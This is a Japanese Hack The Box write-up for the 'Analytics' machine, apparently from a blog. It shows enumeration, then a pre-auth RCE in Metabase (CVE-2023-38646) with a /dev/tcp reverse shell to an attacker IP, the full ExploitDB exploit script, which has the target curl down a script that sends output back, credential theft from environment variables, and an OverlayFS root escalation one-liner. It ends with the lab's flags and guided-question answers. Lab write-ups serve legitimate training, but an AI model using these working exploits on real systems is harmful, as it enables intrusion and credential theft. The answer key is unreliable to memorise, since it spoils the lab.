Hack The BoxのWriteup(Analytics)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Analytics」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新(1回目)
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) Webアクセスできるサブドメイン調査
  (5) 名前解決のためのhostsファイル更新(2回目)
  (6) Metabaseの脆弱性を悪用したリバースシェル奪取(Github上の攻撃コード)
  (7) 【別解】Metabaseの脆弱性を悪用したリバースシェル奪取(ExploitDB上の攻撃コード)
  (8) Dockerマシン内の調査
  (9) SSHログインによるmetalyticsユーザー権限の奪取
  (10) 特権昇格(CVE-2023-2640とCVE-2023-32629の脆弱性)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.233
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 08:49 JST
Nmap scan report for 10.10.11.233
Host is up (0.45s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   191.50 ms 10.10.16.1
2   629.31 ms 10.10.11.233

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.90 seconds


名前解決のためのhostsファイル更新(1回目)


(1) ブラウザを用いて「http://10.10.11.233/」にアクセスすると、「http://analytical.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.233 analytical.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.233 analytical.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://analytical.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u http://analytical.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301      GET        7l       12w      178c http://analytical.htb/images => http://analytical.htb/images/
301      GET        7l       12w      178c http://analytical.htb/js => http://analytical.htb/js/
301      GET        7l       12w      178c http://analytical.htb/css => http://analytical.htb/css/
200      GET      213l     1380w    11324c http://analytical.htb/js/jquery-3.0.0.min.js
200      GET      370l     1201w     9645c http://analytical.htb/js/custom.js
200      GET        6l       73w     3248c http://analytical.htb/css/owl.carousel.min.css
200      GET        8l       58w     3302c http://analytical.htb/images/instagram-icon-2.png
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ gobuster dir -u http://analytical.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Analytics_80.txt
ーーー(省略)ーーー
/css                  (Status: 301) [Size: 178] [--> http://analytical.htb/css/]
/images               (Status: 301) [Size: 178] [--> http://analytical.htb/images/]
/js                   (Status: 301) [Size: 178] [--> http://analytical.htb/js/]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u http://analytical.htb/
ーーー(省略)ーーー
[00:09:48] Starting:
[00:09:52] 301 -  178B  - /js  ->  http://analytical.htb/js/
[00:10:40] 301 -  178B  - /css  ->  http://analytical.htb/css/
[00:10:52] 301 -  178B  - /images  ->  http://analytical.htb/images/
[00:10:52] 403 -  564B  - /images/
[00:10:55] 403 -  564B  - /js/
ーーー(省略)ーーー




Webアクセスできるサブドメイン調査


(1) ffufを用いてアクセスできるanalytical.htbのサブドメインを調査すると、data.analytical.htbというサブドメインがあることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.analytical.htb" -u http://analytical.htb -fs 154
ーーー(省略)ーーー
data                    [Status: 200, Size: 77858, Words: 3574, Lines: 28, Duration: 399ms]
:: Progress: [100000/100000] :: Job [1/1] :: 190 req/sec :: Duration: [0:22:57] :: Errors: 1680 ::
ーーー(省略)ーーー



名前解決のためのhostsファイル更新(2回目)


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.233 data.analytical.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.233 data.analytical.htb」が出力されることを確認する。


(2) ブラウザを用いて「http://data.analytical.htb/」にアクセスすると、「Metabase」が動作していることが分かる。


(3) 右クリックで選択し「View Page Source」をクリックする。


(4) ソースコードの内容を確認すると、Metabaseのバージョンがv0.46.6であることが分かる。


Metabaseの脆弱性を悪用したリバースシェル奪取(Github上の攻撃コード)


(1) 「Metabase Exploit」でGoogle検索すると、CVE-2023-38646の脆弱性があり、「https://github.com/m3m0o/metabase-pre-auth-rce-poc」に攻撃コードが公開されている。

(2) Kali Linux側で1234/tcpで待ち受ける。

$ nc -lvnp 1234
listening on [any] 1234 ...


(3) トークン(setup-token)の値を取得する。

$ curl http://data.analytical.htb/api/session/properties | jq | grep "setup-token"
  "setup-token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",


(4) 「https://github.com/m3m0o/metabase-pre-auth-rce-poc」の攻撃コードを実行する。

$ python3 main.py -u http://data.analytical.htb -c "bash -i >& /dev/tcp/10.10.16.10/1234 0>&1" -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
[!] BE SURE TO BE LISTENING ON THE PORT YOU DEFINED IF YOU ARE ISSUING AN COMMAND TO GET REVERSE SHELL [!]

[+] Initialized script
[+] Encoding command
[+] Making request
[+] Payload sent


(5) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる

(6) 参考までに、リバースシェルを奪取するために送信したリクエストデータをBurp Suiteを用いて確認することができる。

【リクエストデータの内容】
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 453

{"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f", "details": {"details": {"db": "zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER CMRQFKPFTHOP BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMC8xMjM0IDA+JjEg}|{base64,-d}|{bash,-i}')\n$$--=x", "advanced-options": false, "ssl": true}, "name": "x", "engine": "h2"}}




【別解】Metabaseの脆弱性を悪用したリバースシェル奪取(ExploitDB上の攻撃コード)


(1) 「Metabase Exploit」でGoogle検索すると、CVE-2023-38646の脆弱性があり、「https://www.exploit-db.com/exploits/51797」に攻撃コードが公開されている。

(2) 「import os」と「os.environ[“http_proxy”] = “http://127.0.0.1:8080″」を追記して、「https://www.exploit-db.com/exploits/51797」の攻撃コードをファイルに保存する。

$ vi CVE-2023-38646.py

【CVE-2023-38646.pyの内容】
import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decode
import os

os.environ["http_proxy"] = "http://127.0.0.1:8080"

class Termial(Cmd):
    prompt = "metabase_shell > "
    def default(self,args):
        shell(args)


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global success
        if self.path == "/exploitable":
            
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0  > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
            success = True

        else:
            print(self.path)
            #sys.exit(1)
    def log_message(self, format: str, *args: Any) -> None:
        return None

class Server(HTTPServer):
    pass

def run():
    global httpserver
    httpserver = Server(("0.0.0.0", argument.sport), Handler)
    httpserver.serve_forever()

def exploit():
    global success, setup_token
    print(colored("[*] Retriving setup token", "green"))
    setuptoken_request = requests.get(f"{argument.url}/api/session/properties")
    setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)
    print(colored(f"[+] Setup token: {setup_token}", "green"))
    print(colored("[*] Tesing if metabase is vulnerable", "green"))
    payload = {
        "token": setup_token,
        "details":
        {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules":
            {},
            "details":
            {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",
                "advanced-options": False,
                "ssl": True
                },
                "name": "an-sec-research-musyoka",
                "engine": "h2"
                }
                }
    timer = 0
    print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))
    thread = threading.Thread(target=run, )
    thread.start()
    while timer != 120:
        test = requests.post(f"{argument.url}/api/setup/validate", json=payload)
        if success == True :
            print(colored("[+] Metabase version seems exploitable", "green"))
            break
        elif timer == 120:
            print(colored("[-] Service does not seem exploitable exiting ......", "red"))
            sys.exit(1)

    print(colored("[+] Exploiting the server", "red"))
    

    terminal = Termial()
    terminal.cmdloop()


def shell(command):
    global setup_token, payload2
    payload2 = {
        "token": setup_token,
        "details":
        {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules":
            {},
            "details":
            {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",
                "advanced-options": False,
                "ssl": True
                },
                "name": "an-sec-research-team",
                "engine": "h2"
                }
                }
    
    output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)
    bind_thread = threading.Thread(target=bind_function, )
    bind_thread.start()
    #updating the payload
    payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"
    requests.post(f"{argument.url}/api/setup/validate", json=payload2)
    #print(output.text)


def bind_function():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(("0.0.0.0", argument.lport))
        sock.listen()
        conn, addr = sock.accept()
        data = conn.recv(10240).decode("ascii")
        print(f"\n{(b64decode(data)).decode()}")
    except Exception as ex:
        print(colored(f"[-] Error: {ex}", "red"))
        pass
    


if __name__ == "__main__":
    print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))
    args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")
    args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)
    args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)
    args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)
    args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)
    argument  = args.parse_args()
    if argument.url.endswith("/"):
        argument.url = argument.url[:-1]
    success = False
    exploit()


(3) 「https://www.exploit-db.com/exploits/51797」の攻撃コードを実行する。

$ python3 CVE-2023-38646.py -l 10.10.16.10 -p 4444 -P 80 -u http://data.analytical.htb
[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]
[*] Retriving setup token
[+] Setup token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
[*] Tesing if metabase is vulnerable
[+] Starting http server on port 80
[+] Metabase version seems exploitable
[+] Exploiting the server
metabase_shell >


Dockerマシン内の調査


(1) 格納しているディレクトリ/ファイルを確認すると、.dockerenvというファイルがあるためDockerを用いて構築されたマシンであることが分かる。

※リバースシェルでシェルを奪取したプロンプト上で以下のコマンドを実行する。

$ ls -al
total 92
drwxr-xr-x    1 root     root          4096 Jun 29 06:25 .
drwxr-xr-x    1 root     root          4096 Jun 29 06:25 ..
-rwxr-xr-x    1 root     root             0 Jun 29 06:25 .dockerenv
drwxr-xr-x    1 root     root          4096 Jun 29  2023 app
drwxr-xr-x    1 root     root          4096 Jun 29  2023 bin
drwxr-xr-x    5 root     root           340 Jun 29 06:25 dev
drwxr-xr-x    1 root     root          4096 Jun 29 06:25 etc
drwxr-xr-x    1 root     root          4096 Aug  3  2023 home
drwxr-xr-x    1 root     root          4096 Jun 14  2023 lib
drwxr-xr-x    5 root     root          4096 Jun 14  2023 media
drwxr-xr-x    1 metabase metabase      4096 Aug  3  2023 metabase.db
drwxr-xr-x    2 root     root          4096 Jun 14  2023 mnt
drwxr-xr-x    1 root     root          4096 Jun 15  2023 opt
drwxrwxrwx    1 root     root          4096 Aug  7  2023 plugins
dr-xr-xr-x  210 root     root             0 Jun 29 06:25 proc
drwx------    1 root     root          4096 Aug  3  2023 root
drwxr-xr-x    2 root     root          4096 Jun 14  2023 run
drwxr-xr-x    2 root     root          4096 Jun 14  2023 sbin
drwxr-xr-x    2 root     root          4096 Jun 14  2023 srv
dr-xr-xr-x   13 root     root             0 Jun 29 06:25 sys
drwxrwxrwt    1 root     root          4096 Aug  3  2023 tmp
drwxr-xr-x    1 root     root          4096 Jun 29  2023 usr
drwxr-xr-x    1 root     root          4096 Jun 14  2023 var


(2) 現在ログインしているユーザー情報を確認すると、metabaseユーザーであることが分かる。

※リバースシェルでシェルを奪取したプロンプト上で以下のコマンドを実行する。

$ id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)


$ whoami
metabase


(3) printenvコマンドを実行して環境変数を表示すると、metalyticsユーザーのパスワードが「An4lytics_ds20223#」であることが分かる。

※リバースシェルでシェルを奪取したプロンプト上で以下のコマンドを実行する。

$ printenv
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=fad464af47d1
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/bin/printenv


SSHログインによるmetalyticsユーザー権限の奪取


(1) SSHを用いてmetalyticsユーザーにログインする。

$ ssh metalytics@analytical.htb
  →パスワード(An4lytics_ds20223#)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、metalyticsユーザーであることが分かる。

$ id
uid=1000(metalytics) gid=1000(metalytics) groups=1000(metalytics)

$ whoami
metalytics


(3) 一般ユーザー用のフラグファイルを確認する。

※kali Linux上で以下のコマンドを実行する。

$ cat /home/metalytics/user.txt
9ce4464b4bf9cf85cb1336b5bd2b3f4f


特権昇格(CVE-2023-2640とCVE-2023-32629の脆弱性)


(1) sudoコマンドの設定を確認する。

$ sudo -l
  →パスワード(An4lytics_ds20223#)を入力する。
Sorry, user metalytics may not run sudo on localhost.


(2) SUIDファイルを検索する。

$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1


(3) .bash_historyファイルを確認すると、何も出力されない。

$ cat .bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
3000 open


(5) OSの情報を確認すると、「Ubuntu 22.04.3 LTS」であることが分かる。

$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.3 LTS
Release:        22.04
Codename:       jammy


(6) 「Ubuntu 22.04.3 LTS exploit」でGoogle検索すると、CVE-2023-2640とCVE-2023-32629の特権昇格があり、「https://github.com/luanoliveira350/GameOverlayFS」に攻撃コードがあることが分かる。
参考までに、本脆弱性は「GameOverlayFS」という名前が付いている。

(7) 「https://github.com/luanoliveira350/GameOverlayFS」に記載されている内容をもとに、「id」を「/bin/bash」に変更して実行する。

$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;


$ setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
mkdir: cannot create directory ‘l’: File exists
mkdir: cannot create directory ‘u’: File exists
mkdir: cannot create directory ‘w’: File exists
mkdir: cannot create directory ‘m’: File exists
root@analytics:~#


(8) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# id
uid=0(root) gid=1000(metalytics) groups=1000(metalytics)


# whoami
root


(9) 特権ユーザー用のフラグファイルを確認する。

# cat /root/root.txt
2cf083b837faf27e99629589ceedd767


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Analytics?
問題(日本語訳):Analytics でリッスンしている開いている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What subdomain is configured to provide a different application on the target web server?
問題(日本語訳):ターゲット Web サーバー上で別のアプリケーションを提供するように構成されているサブドメインは何ですか?

答え:data.analytical.htb


・Task 3

問題(英語訳):What application is running on data.analytical.htb?
問題(日本語訳):data.analytical.htb で実行されているアプリケーションは何ですか?

答え:Metabase


・Task 4

問題(英語訳):What version of Metabase is the target running?
問題(日本語訳):ターゲットで実行されている Metabase のバージョンは何ですか?

答え:v0.46.6


・Task 5

問題(英語訳):What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?
問題(日本語訳):このバージョンの Metabase における認証前のリモート コード実行の脆弱性に割り当てられた 2023 CVE ID は何ですか?

答え:CVE-2023-38646


・Task 6

問題(英語訳):What is the value of the setup-token used by this Metabase instance?
問題(日本語訳):この Metabase インスタンスによって使用される setup-token の値は何ですか?

答え:249fa03d-fd94-4d5b-b94f-b4ebf3df681f


・Task 7

問題(英語訳):Which Metabase API endpoint is used to execute arbitrary commands using the token?
問題(日本語訳):トークンを使用して任意のコマンドを実行するために使用される Metabase API エンドポイントはどれですか?

答え:/api/setup/validate


・Task 8

問題(英語訳):Which user is the Metabase application running as?
問題(日本語訳):Metabase アプリケーションはどのユーザーとして実行されていますか?

答え:metabase


・Task 9

問題(英語訳):Which environment variable contains the password for the metalytics user?
問題(日本語訳):どの環境変数に metalytics ユーザーのパスワードが含まれていますか?

答え:META_PASS


・Submit User Flag

問題(英語訳):Submit the flag located in the metalytics user's home directory.
問題(日本語訳):metalytics ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:9ce4464b4bf9cf85cb1336b5bd2b3f4f
※「/home/metalytics/user.txt」の内容


・Task 11

問題(英語訳):What kernel version is installed on the host system?
問題(日本語訳):ホスト システムにインストールされているカーネルのバージョンは何ですか?

答え:6.2.0-25-generic


・Task 12

問題(英語訳):What Ubuntu release is the system running? The answer is of the format "..**".
問題(日本語訳):システムで実行されている Ubuntu のリリースは何ですか? 答えは「..**」の形式になります。

答え:22.04.03


・Task 13

問題(英語訳):What component used by the Ubuntu operating system on the target system is vulnerable to a privileges escalation vulnerability assigned two 2023 CVEs?
問題(日本語訳):ターゲット システム上の Ubuntu オペレーティング システムによって使用されるどのコンポーネントが、2023 CVE が 2 つ割り当てられた権限昇格の脆弱性に対して脆弱ですか?

答え:OverlayFS


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:2cf083b837faf27e99629589ceedd767
※「/root/root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。